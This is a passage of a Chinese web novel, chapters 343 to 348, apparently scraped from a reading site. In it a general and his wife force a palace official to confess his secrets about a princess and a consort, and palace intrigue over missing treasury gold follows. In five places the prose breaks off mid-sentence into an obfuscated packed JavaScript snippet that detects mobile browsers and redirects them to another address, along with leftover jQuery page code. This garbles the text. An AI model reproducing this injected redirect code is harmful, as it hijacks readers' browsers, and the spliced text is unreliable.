明明郡主如坐针毡,她绞尽脑汁,想着还有什么能打动这对夫妻。 可她悲哀地发现,从进门起,节奏就一直被对方牢牢掌控。 冀容白早就把她查了个底透,她根本没有反抗的余地。 “报——”富峻的声音打破了屋内的沉寂。 “将军,夫人,门外来了访客,说是明明郡主的故人。” 茅清兮微微挑眉,与冀容白交换了一个心照不宣的眼神。 看来,他们夫妻俩这一唱一和,总算把明明郡主最后的底牌给逼出来了。 “请进来。”冀容白淡淡地吩咐。 明明郡主猛地回过神,转身就想逃。 房间里无人阻拦,可她的脚在门口像是灌了铅,怎么也挪不动。 一个高大的身影缓缓走入。 来人一身黑衣,脸上戴着帷帽,遮住了大半张脸。 “你怎么来了?!”明明郡主的声音尖锐,带着几分慌乱,“快走!这里不是你该来的地方!” 她冲上去,想要把男子推出去,他纹丝不动地坐着。 他无奈地叹了口气,轻轻握住明明郡主的手腕,将她带到一旁。 男子走到屋子中央,缓缓摘下帷帽。 一张斯文儒雅的脸,暴露在众人的视线中。 “东宫参事吴容远远,拜见苏将军,臧夫人。”他躬身行礼,声音低沉。 明明郡主如遭雷击,脸色瞬间惨白,整个人都僵住了。 吴容远远低垂着头,不敢直视。 那一道道打量的目光,让他额头渗出细密的冷汗。 第三百四十四章 冀容白并未立刻开口,只是轻轻敲击着桌面。 “周大人,”冀容白终于开口,“坐吧。绿绿,上茶。” 吴容远远这才稍稍松了口气,缓缓落座。 绿绿送上热茶。 明明郡主失魂落魄地坐在吴容远远身旁。 “不知周大人深夜造访,有何贵干?”冀容白端起茶杯,抿了一口。 吴容远远斟酌着开口:“我是为明明郡主而来。” 他顿了顿,补充道:“太子殿下并不知情。” 他选择这个时辰、以这种方式秘密前来,就是为了避开东宫的眼线。 若是让太子知道,他早就知道明明郡主的下落,却一直隐瞒不报,恐怕他项上人头难保。 冀容白把玩着手中的茶杯: “周大人消息灵通,想必知道太子已经回京。” “是。”吴容远远看了明明郡主一眼。 “我也猜到,明明郡主不会坐以待毙,她一定会来找苏将军。” 冀容白轻笑一声: “周大人在东宫多年,一直屈居于从五品参事之位,实在可惜。” 吴容远远心中一凛。 他知道,冀容白这是在敲打他。 冀容白继续说道: “据我所知,十年前,周大人以探花之才入仕,先入翰林,后转入户部,本该前途无量。可这十年间,东宫属官纷纷高升,唯独周大人……” 吴容远远的后背已经被冷汗浸湿。 他这才明白,冀容白早就知道他会来,并且已经将他的底细摸得一清二楚。 原本,他还打算用东宫的身份作为筹码,与冀容白谈判。 现在看来,一切都在冀容白的掌控之中。 他之所以会来,是因为他清楚,明明郡主为了自保,一定会来求冀容白。 他担心明明郡主为了活命,会做出一些无法挽回的举动。 但他没想到的是,冀容白早就在这里等着他了。 吴容远远苦笑一声: “苏将军果然料事如神,下官自愧不如。” 明明郡主一脸震惊: “你们……你们早就串通好了?所以,无论我说什么,你们都不会答应,你们只是在利用我,逼远哥现身?” 她越说越激动,声音都有些颤抖。 茅清兮平静地看着她: “明明郡主,是你主动来求我们的,我们只是顺势而为。” 明明郡主愣住了。 吴容远远担忧地看着她。 茅清兮对他们之间的纠葛不感兴趣,视线转向别处。 冀容白倒是饶有兴致: “周大人,你我同朝为官,也算有些交情。本将军有一事不明,不知周大人可否解惑?” “将军请讲。” “周大人年近而立,为何迟迟不成家?” 吴容远远脸色一变,他明白冀容白话里的深意。 他的双手紧紧握成拳,指节泛白,声音低沉: “下官家世贫寒,又无功名,不敢耽误别人。” “哦?”冀容白挑眉,“可据我所知,周大人与安妃娘娘,似乎有些渊源。” 吴容远远的脸色瞬间变得惨白。 “安妃……”他嘴唇颤抖,却说不出一句完整的话。 他脸上的惊恐和痛苦,比冀容白揭穿他和明明郡主的关系时更甚。 明明郡主见吴容远远脸色难看,正要开口询问。 冀容白却抢先一步开口: “其实周大人不必如此紧张,我与安妃娘娘有些交情,即便你不来,我也会保明明郡主平安。” 吴容远远听罢,彻底崩溃了。 明明郡主见吴容远远这幅模样,想问的话终究没有问出口。 她看着吴容远远,吴容远远也看着她。 吴容远远眼中的躲闪,已经说明了一切。 冀容白见状,对这种情感纠葛失去了兴趣。 他转头看向茅清兮,见她茶杯已空,便体贴地为她续上茶水。 那些求而不得的苦楚,与他无关。 他只知道,自己紧紧握在手中的,才是最重要的。 他的目光温柔如水,里面只倒映着茅清兮的身影。“娘子,喝茶。” 冀容白修长的手指轻轻一勾,尾音上扬,带着一丝戏谑。 茅清兮的视线从窗外收回,落在他脸上,有些莫名其妙。 冀容白唇角含笑,将绘着青竹的白瓷茶盏推到她手边。 茅清兮心不在焉地端起,浅浅抿了两口,茶香袅袅,心思却飘得很远。 对于冀容白时不时投来的殷勤视线,她早已**以为常,能够做到完全视若无睹。 她此刻满脑子都是吴容远远、明明郡主和安妃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16648210|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之间那团乱麻。 青羽暗卫传回的消息,撕开了吴容远远一直刻意隐藏的秘密。 这些年,明明郡主每次进京,除了在宫中陪伴安妃,其余时日都住在城南一座不起眼的宅院里。 那里是各部官员家眷的聚居之地。 宅子不大,但布置得极为雅致,翠竹环绕,颇有几分隐士之风。 外人都说,这是荆南王府有意低调,郡主不愿太过张扬,以免惹来圣上猜忌。 就连圣上,似乎也对此深信不疑。 他见荆南王的女儿如此识趣,从不惹是生非,心中对荆南王的安分很是满意。 于是,每年明明郡主进京,他都赏赐不断,以示恩宠。 然而,事情的真相,却被青羽暗卫悄无声息地揭开。 京城之中,三教九流,皆是青羽暗卫的眼线。他们发现,明明郡主所住的宅院,隔壁竟住着户部员外郎吴容远远的老母。 仅凭这一点,或许还不能说明什么。 但青羽暗卫却注意到一个不同寻常的细节:明明郡主每次进京,都会给隔壁的老妇人带去云州的吃食玩器。 虽然都是在夜深人静时悄悄送去,但这又怎能瞒过青羽暗卫的耳目? 无亲无故,却特意送家乡特产,这举动本身就透着古怪。 青羽暗卫顺着这条线索深挖下去,这才牵出了明明郡主与吴容远远之间那段不为人知的过往。 在今天之前,茅清兮也不能确定吴容远远是否会为了明明郡主而来。 但这本就是一场赌局,而他们,赌赢了。 至于安妃的那些旧事,则是玄月门的功劳。 冀容白方才不过是稍加试探,吴容远远便已阵脚大乱,暴露了自己。 茅清兮看向明明郡主,见她一脸茫然,心中了然:看来,她的确不知道吴容远远和安妃之间的纠葛。 否则,以她的性子,又怎会这么多年都对吴容远远念念不忘? 吴容远远显然被冀容白的话吓得不轻。 他或许还能勉强维持表面的镇定,但冀容白偏偏提到了那个他最无法冷静面对的人。 “扑通”一声,吴容远远跪倒在冀容白面前。 他死死咬着牙,血腥味在口腔中弥漫,声音嘶哑而艰涩:“苏将军,下官与安妃娘娘之间,清清白白,绝无私情!下官侍奉娘娘多年,从未有过半分僭越… 第三百四十五章 …” “周大人这是做什么?快快请起。”冀容白微微俯身,伸手虚扶了一把。 他语气温和,仿佛刚才那个步步紧逼的人不是他: “本将军与安妃娘娘,也算是有几分交情。你若是不信,大可亲自去问她。” “下官……小的并非此意……” 吴容远远急切地想要辩解,但舌头却像是打了结,越是着急,越是说不清楚。 事实上,从冀容白提到“安妃”二字开始,他所有的镇定和冷静便都荡然无存,只剩下无边的慌乱和恐惧。 明明郡主将他的失态尽收眼底。 她从未见过吴容远远露出这样的神情……像是被逼到了绝境,又像是深藏多年的秘密即将被人揭穿。 在她的记忆里,吴容远远永远都是一副温润如玉、从容不迫的样子。 不管遇到什么事,他总能冷静应对,妥善处理。 就算是她搞出的烂摊子,他也只是无奈地笑笑,然后替她收拾残局。 她还记得,自己七岁那年,第一次独自进京。 那时的她,还是个胆小怯懦的小丫头,对陌生的一切都充满了恐惧。 姑姑临行前告诉她,如果在宫外遇到了麻烦,就去找户部的周大人。姑姑说,周大人是她在宫外唯一可以信任的人。 那一年,她弄丢了祖母留给她的玉佩。 那玉佩是祖母的遗物,对她来说意义非凡,是她对祖母全部的念想。 从云陵带来的侍卫,只会围着她团团转,却连去哪儿找都不知道。 她急得大哭,嗓子都哭哑了。 最后,还是一个老嬷嬷提醒她,可以去找周大人帮忙。 她这才想起来姑姑的嘱托,抽抽噎噎地让侍卫带她去了户部衙门。 那是她第一次见到吴容远远,一个温润清雅的年轻官员,眉宇间却带着一抹化不开的忧郁。 他耐心地听她说完,温声细语地安慰她,然后承诺一定会帮她找回玉佩。 当吴容远远将失而复得的玉佩交到她手中时,她破涕为笑。 她记得吴容远远当时说:“小郡主莫哭了,玉佩找到了,一切都会好起来的。” 明明紧紧攥着手中的玉佩,只觉得那是世上最珍贵的宝贝。 她仰起头,看着吴容远远。 灯火阑珊处,他的面容沉静而柔和,看向她的目光,仿佛能融化这世间所有的坚冰。 从那以后,她便不再害怕独自进京。 因为她知道,有一个人,会像守护这块玉佩一样,守护着她。 后来,姑姑告诉她,周大人是她在宫外为数不多的故交,让她没事不要去打扰他。 早早明白藩王在京城处境微妙的明明,自然明白姑姑的顾虑。 从那以后,她每年进京,都会在城南买下一处宅院,悄悄住下。 她知道,周大人就住在隔壁。 她不去见他,但只要想到他在身边,心里便觉得安稳。 直到有一天,她突然意识到,自己对吴容远远的感情,已经不再是单纯的依赖。 当她再次看向他时,心跳会莫名地加速,脑海中会浮现出各种各样的幻想。 她知道,自己喜欢上了他。 可她也清楚,爹爹是绝不会同意她和吴容远远在一起的。 吴容远远比她大了太多,又只是个小小的员外郎,根本配不上她郡主的身份。 她不敢告诉任何人,只能将这份感情深埋心底,默默地对吴容远远好。 而吴容远远,却开始有意无意地疏远她。 不管她做什么,他都不再像从前那样,事事为她出头。 这一次,她来京之前,鼓起勇气,把自己在云陵听到的只言片语告诉了他。 她其实是想告诉他:如果想带她走,就要快点行动了。 然而,吴容远远没有回信,甚至没有只言片语。 就好像,他根本不在意她是否会成为那些权谋斗争的牺牲品。 明明郡主只觉得一颗心,不断地往下沉。 在来京的路上,她还曾幻想过,吴容远远或许会突然出现,将她带走。 但她没有等到吴容远远,不料迎来了储君。 无奈之下,她只能选择躲进澜府,或许这能让他回心转意。 她想,既然吴容远远不想要她,那她宁愿在澜府做个身份低微的妾室,也不愿任人摆布。 吴容远远还是来了,他为了她,来到了澜府。 虽然她害怕冀容白会利用他的身份做什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16653479|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但内心深处,却又忍不住生出一丝窃喜。 至少,这说明吴容远远心里还是有她的,不是吗? 可现在,看着吴容远远那张全然失控的脸,明明郡主的心中,却涌起一股前所未有的恐慌。 仿佛有什么她一直不知道的、足以将她彻底击垮的秘密,即将浮出水面。“下官吴容远远,但凭苏将军吩咐。” 吴容远远缓缓低下头,声音很轻,却透着一股破釜沉舟的味道,像是把这些年所有的憋屈都压在了这一句话里。 投诚,是他眼下唯一的活路。是他如同一条丧家之犬,唯一能抓住的浮木。 这些年,他像只老鼠一样藏在阴沟里,小心翼翼地捂着那些见不得光的过往。他怕太子察觉,更怕牵连到宫里那位……他把自己的抱负死死摁在烂泥里,每天只当自己是个活**,机械地重复着每一天。 每次路过皇宫,看着那高耸的城墙,他都恨不得把自己缩成一团,生怕泄露了半分心底的情绪,那些被压抑的、对权力的渴望。 可现在,冀容白像一把刀,毫不留情地划开了他所有的伪装,挑破了他多年来小心翼翼维持的假象。吴容远远只觉得像被扒了皮抽了筋,疼得厉害。但这剧痛之后,他反倒生出一种不管不顾的麻木,一种听天由命的绝望。 “周大人,”冀容白忽然换了个话题,语气缓和了一些,“你当年科考的文章,我看过。” 吴容远远一愣,没想到冀容白会突然提起这个。 “文采是真好,”冀容白顿了顿,似乎是在回忆,“更难得的是,你提的那些建议,都落在了实处,不是空话,不是那些华而不实的漂亮话。” 冀容白的声音忽然沉了下来,像一块巨石压在了吴容远远心上,压得他喘不过气: “周大人在户部混迹多年,还记得当年你提的那些吗?丈量土地,统计人口……这些治国安邦的良策,你还记得吗?” “下官……”吴容远远的肩膀抖了一下,他死死咬着牙,才从喉咙里挤出几个字,“未敢忘记。” 每个字都像带着血,带着这些年他亲手埋葬理想的痛。 “周大人在户部,应该比谁都清楚吧?”冀容白的话,像一把把尖刀,毫不留情地刺向他,“如今这大晋朝,是什么样子? 第三百四十六章 ” 吴容远远不敢抬头,只能死死盯着地面。 冀容白的声音在他头顶回荡,每一个字都像重锤敲打着他: “周大人,你告诉我,那些没了家、没了地的百姓,有多少?那些荒着的地,都被谁占了?老百姓没地种,吃什么?那些逃难的流民,他们又能逃到哪里去?周大人,这就是你想看到的吗?这就是你当年寒窗苦读、金榜题名,想要看到的天下吗?!” 吴容远远浑身颤抖,他死死咬着牙,嘴里尝到了一丝血腥味。 冀容白的话,像一把把锥子,扎得他脑袋生疼,扎得他无地自容。恍惚间,他好像又看到了当年那个意气风发的自己,那个站在大殿之上,慷慨陈词的少年。 那年,前朝刚灭,天下百废待兴。多少读书人,十年寒窗,一朝入仕,都憋着一股劲儿,想要做出一番事业,想要让这天下变得更好。 那时的他,也是满腔热血,以为自己能有一番作为。可谁能想到,一场赏梅宴,就彻底改变了他的一生。 他见到了安妃……那个他曾发誓,要金榜题名、风风光光迎娶的女人。 可她已经成了皇帝的妃子,高高在上,而他却什么也不是。 他看着安妃那张平静的脸,心里有什么东西碎了。他觉得自己像个笑话,可笑又可悲。 赏梅宴后,太子找到他,说是欣赏他的才华。可太子轻飘飘的一句话,却让他如坠冰窖。太子提到了他的家人,看似随意,实则威胁。 吴容远远怕了,他不敢拿家人的性命去赌,更不敢让安妃因为他受到牵连。他只能答应太子,从此收起所有的抱负,老老实实地做太子的一条狗。 后来,明明郡主来找他,说姑姑告诉她,有难处就来找他。 吴容远远苦笑,他能帮她什么呢?不过是替她收拾一些烂摊子罢了。他做的这些,不过是为了让自己心里好受些,就好像……还能和那个人有那么一丝联系。 可他怎么也没想到,明明郡主竟然会对他动了心思。他觉得自己真是罪孽深重,可笑至极。 这么多年,他苟延残喘地活着,那些曾经的抱负、理想,早就成了一场笑话。他不敢想,也不敢提,生怕玷污了这两个字。 可如今,他已经走投无路,冀容白却偏偏翻出了这些陈年旧事,这让他无地自容。 “下官……有愧。”吴容远远的声音沙哑得厉害,像是从干涸的井底发出的。 冀容白盯着吴容远远低下去的头,看了许久,才缓缓开口: “周大人,你今年才三十出头吧?多少人到了这个年纪,还在为科举奔波,还在为了一个入仕的机会苦苦挣扎。你现在就说这话,未免太早了。大晋的百姓,还需要你这样的人。” “苏将军……”吴容远远猛地抬头,眼中满是震惊和茫然,“可是……太子不会放过我的。” “你在户部待了这么多年,总该知道一些内幕吧?”冀容白没有直接回答他的问题,而是话锋一转,“十二年前,二皇子谋反,从他府上抄出了一百万两黄金,这事你知道吧?” 吴容远远彻底愣住了,他瞪大了眼睛看着冀容白,嘴唇颤抖着,却说不出话来。他没想到,冀容白竟然会提起这件事,这可是个天大的秘密! “去查,”冀容白的声音低沉而有力,“查清楚这笔银子的来龙去脉。我要知道,这笔银子到底去了哪里,或者说……这笔银子,究竟存不存在!” 吴容远远只觉得脑子里“嗡”的一声,一片空白。 冀容白这是要……彻查当年的旧案?这可是要翻天的大事! “等你查清楚了,我会想办法送你离开京城,给你一个机会,让你去实现你当年未竟的抱负。”冀容白看着他,一字一句地说。 吴容远远的心跳得厉害,他知道,自己已经没有退路了。 他深吸一口气,强迫自己冷静下来,沉声道:“下官……遵命。” 他顿了顿,又说:“当年那一百万两黄金,据说是前朝余孽通过一个叫兰陵堡的江湖势力送到二皇子手上的。后来二皇子事败,兰陵堡也跟着遭了殃,举家自尽了。” “兰陵堡?”茅清兮重复了一遍,语气中带着一丝探究。 站在门外的俞霜,听到这个名字,浑身一震,猛地握紧了腰间的青虹剑,目光死死地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16653480|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盯着屋内,仿佛要把门板盯出一个洞来。 茅清兮察觉到了她的异样,转头看了她一眼,用眼神安抚她。她答应过俞霜,要帮她查出兰陵堡灭门的真相,如今,所有的线索似乎都指向了同一个方向。 冀容白示意吴容远远继续说下去。 吴容远远便将当**情,详细地讲述了一遍。 当年殿试,他得了个二甲第七,原本是该去文华院的清贵地方。谁知太子却把他安排到了户部,还直接交给了他一个棘手的任务——将从二皇子府上搜刮来的一百万两黄金,神不知鬼不觉地做平。 这任务看似简单,实则步步惊心。吴容远远很快就察觉到了其中的猫腻。他仔细一查账,顿时吓出了一身冷汗,那账目上哪有什么一百万两,明明白白写着的,区区二十万两银子! 更让他心惊的是,这些年,户部一直在陆陆续续地往外拨银子,打着各种各样的名义,什么救济灾民、修缮宫殿……可实际上,很多银子都去向不明,根本对不上账。 吴容远远不敢声张,只能暗中调查。他发现,太子对户部侍郎何仁文颇为信任,很多事情都交给他去办,那消失的八十万两黄金,多半也是经过何仁文的手,才被一点点抹平的。 “何仁文……”冀容白念叨着这个名字,若有所思,“他现在已经是内阁辅臣了,看来,太子是把他当成了心腹。” 吴容远远点了点头,说:“我暗中查过,何仁文确实是太子的人。不过,他并不是一开始就跟着太子的,而是在二皇子倒台之后,才投靠了太子。” “所以,当年做账的事,未必是太子授意的?”茅清兮插了一句。 吴容远远不敢确定,只说:“何仁文去二皇子府清点过财物,这是肯定的。” “还有一个人,”茅清兮忽然开口,语气笃定,“户部尚书,冀徒荣。” 她顿了顿,补充道:“别忘了,他才是户部的一把手。”“户部那帮老油条,背地里都怎么编排冀国公的?说他两袖明川,刚正不阿,从不跟人同流合污?” 吴容远远说到这儿,自个儿先笑了,只是那笑里带着几分自嘲和无奈。 第三百四十七章 他顿了顿,像是下了好大决心,才压低声音凑近了些: “跟您透个底,许阁老暗地里替冀国公擦屁股的事儿,瞒得紧。外头那些人,压根儿就不知道!还有,冀国公早先是在礼部待着的,后来许阁老不是高升了么,他才跟着脚进了户部。” 冀容白听着,冷不丁“呵”了一声。 那声音,低沉,短促,像是从喉咙深处挤出来的,带着股子说不清的寒意和嘲弄。 “冀徒荣啊冀徒荣,平日里最爱惜自己的羽毛,走到哪儿都恨不得让人供起来,高喊着什么‘忠君爱国’、‘绝不结党’……呸,这戏做得可真够足的!谁知道他背地里是个什么腌臜玩意儿。” “户部的账,烂成那个鬼样子,他冀徒荣能不知道?” 冀容白这话,说得斩钉截铁。贤王早就查到了户部的事,比吴容远远要早得多。只是贤王没声张,而是以此为筹码,想拉拢冀容白对付太子。 冀容白没接招,却不代表他不上心。 如今吴容远远自己送上门,正好,他倒要看看,这一个个的,背地里都藏着什么见不得人的勾当! 吴容远远那边,沉默了好一会儿。 他像是在心里头反复掂量,又像是在做什么艰难的抉择。 终于,他咬了咬牙,像是豁出去了: “苏将军,既然小的已经跟您交了底,那太子那边……肯定是容不下我了。您要是真打算动太子……” 他没再说下去,有些话,点到为止。 吴容远远的脸色,凝重得像是能拧出水来,语气也透着一股子挣扎。 “不瞒您说,许阁老有次喝多了,说漏了嘴。说太子在江南,似乎……还留了别的后手。” 空气仿佛凝固了。 “江南”二字,像一块巨石,投入平静的湖面,激起千层浪。 茅清兮不动声色地开口,打破了沉默: “江南水患,太子也去了,这事儿,明面上看,是为了赈灾。” 她故意停顿了一下,留出让人思考的空间。 冀容白的脸色,阴沉得可怕。 吴容远远更是不敢再往下想。江南,太子,后手……这几个词串在一起,让人不寒而栗。 若是太子真有异心,那可是谋逆大罪,是要诛九族的! 前车之鉴,二皇子,如今连尸骨都找不到了。 冀容白深吸一口气,缓缓开口,声音冷冽如冰: “江南的事,我亲自去查。你,把户部的账,一笔一笔,给我捋清楚了!” “是……”吴容远远迟疑了一下,目光闪躲,“那……明明郡主那边……” “我会派人送她去安妃那儿。”冀容白直接打断了他,不容置喙。 吴容远远点了点头。 这样也好,至少,明明郡主暂时是安全的。 吴容远远离开的时候,特意戴了顶帷帽,遮得严严实实。 他从后门溜出去,脚步匆匆,不敢有片刻停留。 明明郡主一直在等。 等吴容远远给她捎个信儿,哪怕只有一句话也好。 可是,她什么也没等到。 等来的,是茅清兮。 茅清兮并没打算瞒着她,直截了当地说: “明天一早,我会让人送你进宫,去安妃娘娘身边。只要你在宫里,太子就动不了你分毫。但凡你还有点脑子,就该知道怎么选。” 明明郡主愣愣地看着茅清兮,张了张嘴,似乎想问些什么,却又什么都问不出来。 她的眼里,还残留着一丝微弱的希望,像是风中残烛,随时都会熄灭。 “他……就没说,要我带句话给你?” 茅清兮看着她,残忍地摇了摇头。 明明郡主眼里的光,彻底黯淡了下去。 她整个人像是被抽走了灵魂,瘫坐在椅子上,了无生气。 茅清兮叹了口气,转身要走。 “你们查他的事……查到多少?他和我姑姑……到底怎么回事?” 明明郡主的声音,沙哑得不成样子,却又带着一种不甘心的执拗。 茅清兮停下脚步,回头看着她,沉默了片刻,才开口: “我们其实什么都没查到。是周大人自己……乱了阵脚。” 明明郡主一愣,随即,像是明白了什么。 是了,吴容远远那样冷静自持的一个人,怎么会轻易露出破绽? 除非……那个人,是他心底最深的秘密,是他最不能触碰的软肋。 明明郡主扯了扯嘴角,想笑,却笑不出来,那笑容,比哭还难看。 茅清兮看着她,心里五味杂陈。 这种事,旁人说什么都是多余。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16656906|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “周大人并非有意瞒你,只是……你们身份悬殊,他……” 茅清兮试图解释,却发现,任何解释都显得苍白无力。 “够了!”明明郡主打断了她,声音里带着一丝尖锐,“我知道了,多谢臧夫人。明日,我会进宫。” 她的眼神,已经没有了刚才的脆弱和迷茫,取而代之的,是一种冷漠的决绝。 茅清兮点了点头,没再说什么。 她和明明郡主,本就是一场交易。如今,交易结束,她也没必要再多费唇舌。 明明郡主晚膳没动一口。 绿绿来报的时候,茅清兮只是挥了挥手,示意下人们不要去打扰她。 第二天一早,茅清兮安排富峻送明明郡主进宫。为了避免麻烦,茅清兮决定将事情做足。 富峻不仅把人送到了宫门口,还特意绕着皇城走了几圈,闹出点动静来。 这下好了,全京城的人都知道,明明郡主“失踪”了,而且还差点儿遭遇了不测。 “听说了吗?明明郡主前几日出城上香,结果遇上了歹人,险些被掳走!” “真的假的?这也太吓人了!” “千真万确!幸亏长公主也在那座寺庙里,及时出手相救,不然明明郡主可就危险了!” “哎呦,这可真是万幸!长公主真是个大好人!” “可不是嘛!听说太子殿下也赶过去了,不过还是晚了一步,没能救下明明郡主。” “这事儿闹得这么大,明明郡主的名声……” “嘘,小声点!这事儿可不能乱说!” …… 消息传得飞快,很快就添油加醋地传遍了街头巷尾。 深宫之中,安妃也听到了风声。 她急得团团转,却又不知道该怎么办。 明明郡主自从进了她的寝宫,就一直沉默寡言,问什么都不说。 安妃一个深宫妇人,平日里连宫门都很少出,对外面的事情更是一无所知。 她只知道明明郡主是澜府的人送来的,其他的,一概不知。 思来想去,安妃还是决定,派人去请茅清兮进宫。 来请茅清兮的,是安妃宫里的平公公。 这位平公公,对茅清兮的态度,那叫一个热情。 绿绿想按惯例塞个荷包过去,却被他婉拒了。 第三百四十八章 “臧夫人,您有所不知,娘娘早就想见您了!”平公公笑眯眯地说,“娘娘常说,您是京城里难得的才女,一直想找个机会跟您好好聊聊呢!” 茅清兮也笑着回应:“平公公过奖了,安妃娘娘抬爱,我愧不敢当。咱们这就走吧。” 平公公在前头引路,一路走,一路跟茅清兮说着话。 “不瞒您说,奴才这条命,还是苏将军救回来的。” 茅清兮有些意外:“哦?竟有这样的事?” 平公公叹了口气,脸上露出感激的神色: “当年奴才犯了错,差点儿被杖毙。是苏将军路过,替奴才求了情,奴才这才捡回一条命。苏将军看着冷面冷心,实际上,是个顶好的人!”“当年,奴婢还只是尚衣监一个不起眼的小太监,在大太监手底下混口饭吃。” 平公公一边引着茅清兮往宫殿深处走,一边压低了声音,像是怕被这红墙绿瓦听了去。 “记得有一次,尚衣监给皇后娘娘做了一件顶好的衣裳,结果转头就被尹贵妃给拿走了。皇后娘娘是什么人?那脾气一点就着,当场就要拿尚衣监的人问罪。” 他微微侧过头,用余光瞥了一眼茅清兮,见她听得认真,才继续说道: “奴婢的干爹,为了保全自己,就把奴婢推出去顶了罪。您也知道,在这宫里头,像奴婢这样没根没底的人,挂了就挂了呗,谁也不会多看一眼。就算认了干爹,也跟没认一样,顶多心里多个念想。” “可巧了,司礼监动手处决时,苏将军正好打那儿路过。他……他跟旁人不一样,竟开口替奴婢求了情。就那么一句话,奴婢这条贱命,就这么捡回来了。” 平公公说到这儿,脸上浮起一抹感激,又带着几分自嘲的笑。 “不止是奴婢,苏将军在宫里的那两年,前前后后救下了好多人呢。我们这些人,说白了,不过是比猫儿狗儿强一点的奴才,主子们都不当回事,可苏将军不一样,他是真把我们当人看。” 茅清兮静静地听着,直到平公公说完,才微微颔首,轻声道: “苏将军出手搭救你们,和他救那些边关的百姓,其实没什么分别,都是救人。” 平公公脸上的笑容深了些,眼眶却有些泛红。他用力地点了点头,“哎”了一声,像是要把心底的酸涩都给应出来: “奴婢这条命,本来一文不值,是苏将军救了奴婢,才让奴婢这烂泥一样的人生出了几分颜色……苏将军和臧夫人都是顶好的人,臧夫人往后要是有什么用得着奴婢的,只管开口,奴婢赴汤蹈火,在所不辞!” 他顿了顿,又像是想起了什么,语气变得更加谨慎: “说起来,这皇宫看着光鲜,可里头的人命,有时候还不如外头的野草。主子们动动嘴皮子,底下的人就得掉脑袋。” “特别是我们这些……没根儿的东西,”平公公自嘲地笑了笑,“旁人看着,更是不把我们当人。” “前朝那会儿,太监乱政,把朝纲搞得乱七八糟。新朝开国,百官们都恨**太监,生怕再出什么幺蛾子。” 他叹了口气,语气里透着无奈: “虽然后宫里还留着十二监,可谁也不敢冒头,都夹着尾巴做人。稍有不慎,那些个文官的笔杆子,就能把咱们骂得狗血淋头。” “百官们防贼似的防着咱们,那咱们的日子,就更没法儿过了。” “就算是圣上身边顶得脸面的吉公公,也得小心翼翼的,生怕哪天就踩了雷。他平日里都不敢跟宫里这些个老相识多来往,就怕被人抓着把柄。” 说到这儿,平公公又自嘲地摇了摇头: “‘阉人不算人’,这话都快刻进大家伙儿骨子里了,可苏将军偏不这么看,他出手相助之际,眼里没有轻贱,只有悲悯。” 茅清兮听着,心里头也有些不是滋味。她抿了抿唇,轻声宽慰: “公公不必妄自菲薄,苏将军救人,从来不求回报。他只是……见不得有人受苦。” “是,是,奴婢都明白,”平公公的眼神闪了闪,似乎想起了某些重要的事,语气变得急切,“小的只想为将军尽一份心。” 他话锋一转,主动提起:“对了,臧夫人,奴婢有件事得跟您透个底。安妃娘娘今儿个召见您,其实是为了明明郡主。” 茅清兮心中了然,面上却不动声色:“哦?此话怎讲?” 平公公往四周看了看,确定无人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16656907|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 靠近,才压低声音,几乎是用气音说道:“娘娘心里头苦,平日里看着静,其实比谁都明白。只是这后宫里头,有些事儿,她不方便出面……” 他顿了顿,斟酌着措辞: “前儿个圣上还常来娘娘这儿坐坐,可如今……唉,新人得宠,旧人就得靠边站了。这宫里的女人,哪个不是这么过来的?” 